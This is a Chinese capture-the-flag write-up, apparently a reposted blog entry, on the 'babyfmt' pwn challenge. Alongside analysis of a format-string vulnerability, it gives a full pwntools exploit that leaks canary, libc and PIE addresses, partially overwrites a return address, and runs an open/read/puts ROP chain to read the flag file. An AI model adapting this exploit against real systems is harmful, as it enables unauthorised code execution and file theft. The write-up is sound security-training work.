当前位置:网站首页>星盟-pwn-babyfmt

星盟-pwn-babyfmt

2022-08-11 05:29:00 Mauricio_Davis

程序分析

  • main函数第一个函数初始化可以不看,但是里面的prctl函数功能有很多,可以去学习一下,我找了一篇博客推荐要去了解的话可以去最下面的链接看看

在这里插入图片描述



  • start()函数功能为,允许用户输入最多0x80字节的内容,然后输出(漏洞就不说了)

在这里插入图片描述

  • My_read()函数,完成read功能,把最后一个’\n’改为’\0’

在这里插入图片描述

程序情况列述

  • 没有溢出,只有一个格式化字符串漏洞
  • 程序允许输入一次,有金丝雀

思路

  1. 通过格式化字符串漏洞修改rip使他再次执行一次My_read()
  2. 此时My_read()内部执行read的时候,gadget布置在read的返回地址上,劫持程序流
  3. 利用gadget让我们进行第三次输入,把输入大小调大
  4. 打开flag文件,read进内存,puts输出
  • 泄露信息->改写rip->劫持程序流->调整输入大小->打开文件输出
  • 静态分析发现无法改写rip则动态分析就可以发现

具体过程

  • 第一个read我们可以可以先泄露出一些信息,canary、libc_base、rbp、程序基地址(如果看了exp的话其实canary没有必要泄露),泄露之后,再次执行一次read,gdb调试发现有一个地址可以利用,让他指向rip载改写最后一个字节为21就可以再次执行read(成功概率为1/16),最后一位永远是8,倒数第二位不一样

在这里插入图片描述

修改后

在这里插入图片描述

  • 第二次read的目的是劫持My_read()函数里面的read的rip,我们可以写到这个地方,布栈图在后面,把read的rip劫持之后,通过pop rdi rsi ,再次进行read,我们控制rsi的值变大,就可以超过0x80的限制,rdi的值我们就用上面泄露出来的rbp-0x10,-0x10的目的为让输入点就是rip的地址。
  • 劫持之后执行打开flag文件,read读入flag文件,puts输出flag文件的操作

栈空间图

在这里插入图片描述

exp

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'
sh = process('./babyfmt')
#sh = remote('nc.eonew.cn', 10503)
libc = ELF('./libc-2.27.so')

gdb.attach(sh,''' b *$rebase(0xb44) ''')

#观察stack空间,0x38后面的一个字节就是我们需要改写的地方,这里我们用\x88,最后一位是8第二位用其他的都可以,如:'\x18',师傅懒的话可以直接看上面的栈图对应的就是了
payload = b'%33c%13$hhn#%23$llx\n%27$llx\n%24$llx\n%22$llx'.ljust(0x38, b'\0') + b'\x88'
sh.send(payload)

sh.recvuntil(b'#')

#下面的基地址可以通过gdb调试得到,上面的stack图里面也有对应的偏移,但前提是环境和远端的是一样的才行,不然的话栈空间里面的内容也是不一样的,未换依赖前%22我这边就不是程序的基地址而是栈地址,所以记得换环境

stack_guard = int(sh.recvline(), 16)
log.success('stack_guard: ' + hex(stack_guard))
libc_addr = int(sh.recvline(), 16) - libc.symbols['__libc_start_main'] - 231
log.success('libc_addr: ' + hex(libc_addr))
stack_addr = int(sh.recvline(), 16)
log.success('stack_addr: ' + hex(stack_addr))
#值得一提的是开启pie之后我们还需知道程序的基地址,image_base就是,gdb调试找到一个-去偏移就可以
image_base = int(sh.recvline(), 16) - 0xb90 
log.success('image_base: ' + hex(image_base))

layout = [
    image_base + 0x0000000000000bf3, # : pop rdi ; ret
    stack_addr - 16,
    libc_addr + 0x0000000000023a6a, # : pop rsi ; ret 
    0x1000,
    image_base + 0xaa1, # read_n
]

sh.send(b'a' * 0x58 + flat(layout))#第二次输入

layout = [

# 系统调用打开flag文件
    image_base + 0x0000000000000bf3, # : pop rdi ; ret
    stack_addr - 16 + 0x100,
    libc_addr + 0x0000000000023a6a, # : pop rsi ; ret
    0,
    libc_addr + 0x000000000001b500, # : pop rax ; ret
    2,
    libc_addr + 0x0000000000002cef, # : syscall ; ret


#系统调用read写入flag置内存
    image_base + 0x0000000000000bf3, # : pop rdi ; ret
    3,  #用open打开之后第一个参数是3就是上面打开的那个文件
    libc_addr + 0x0000000000023a6a, # : pop rsi ; ret
    stack_addr + 0x100,
    libc_addr + 0x0000000000001b96, # : pop rdx ; ret
    0x1000,
    libc_addr + 0x000000000001b500, # : pop rax ; ret
    0,
    #用ropgadget找syscall ; ret未发现,可以尝试用ropper
    libc_addr + 0x0000000000002cef, # : syscall ; ret 
    
#调用puts输出flag
    image_base + 0x0000000000000bf3, # : pop rdi ; ret
    stack_addr + 0x100,
    libc_addr + libc.symbols['puts'],
    libc_addr + libc.symbols['exit'],
]

sh.send(flat(layout).ljust(0x100, b'\0') + b'flag'.ljust(0x100, b'\0'))

sh.interactive()

  • 可能大家在想为什么不直接用execve来拿flag呢,因为不行,有些情况下execve打不通
  • 通过这个题目发现上面的写法很方便,没有写p64()这个繁琐的操作

在这里插入图片描述

在这里插入图片描述

prctl函数

原网站

版权声明
本文为[Mauricio_Davis]所创,转载请带上原文链接,感谢
https://blog.csdn.net/qq_65147345/article/details/126051902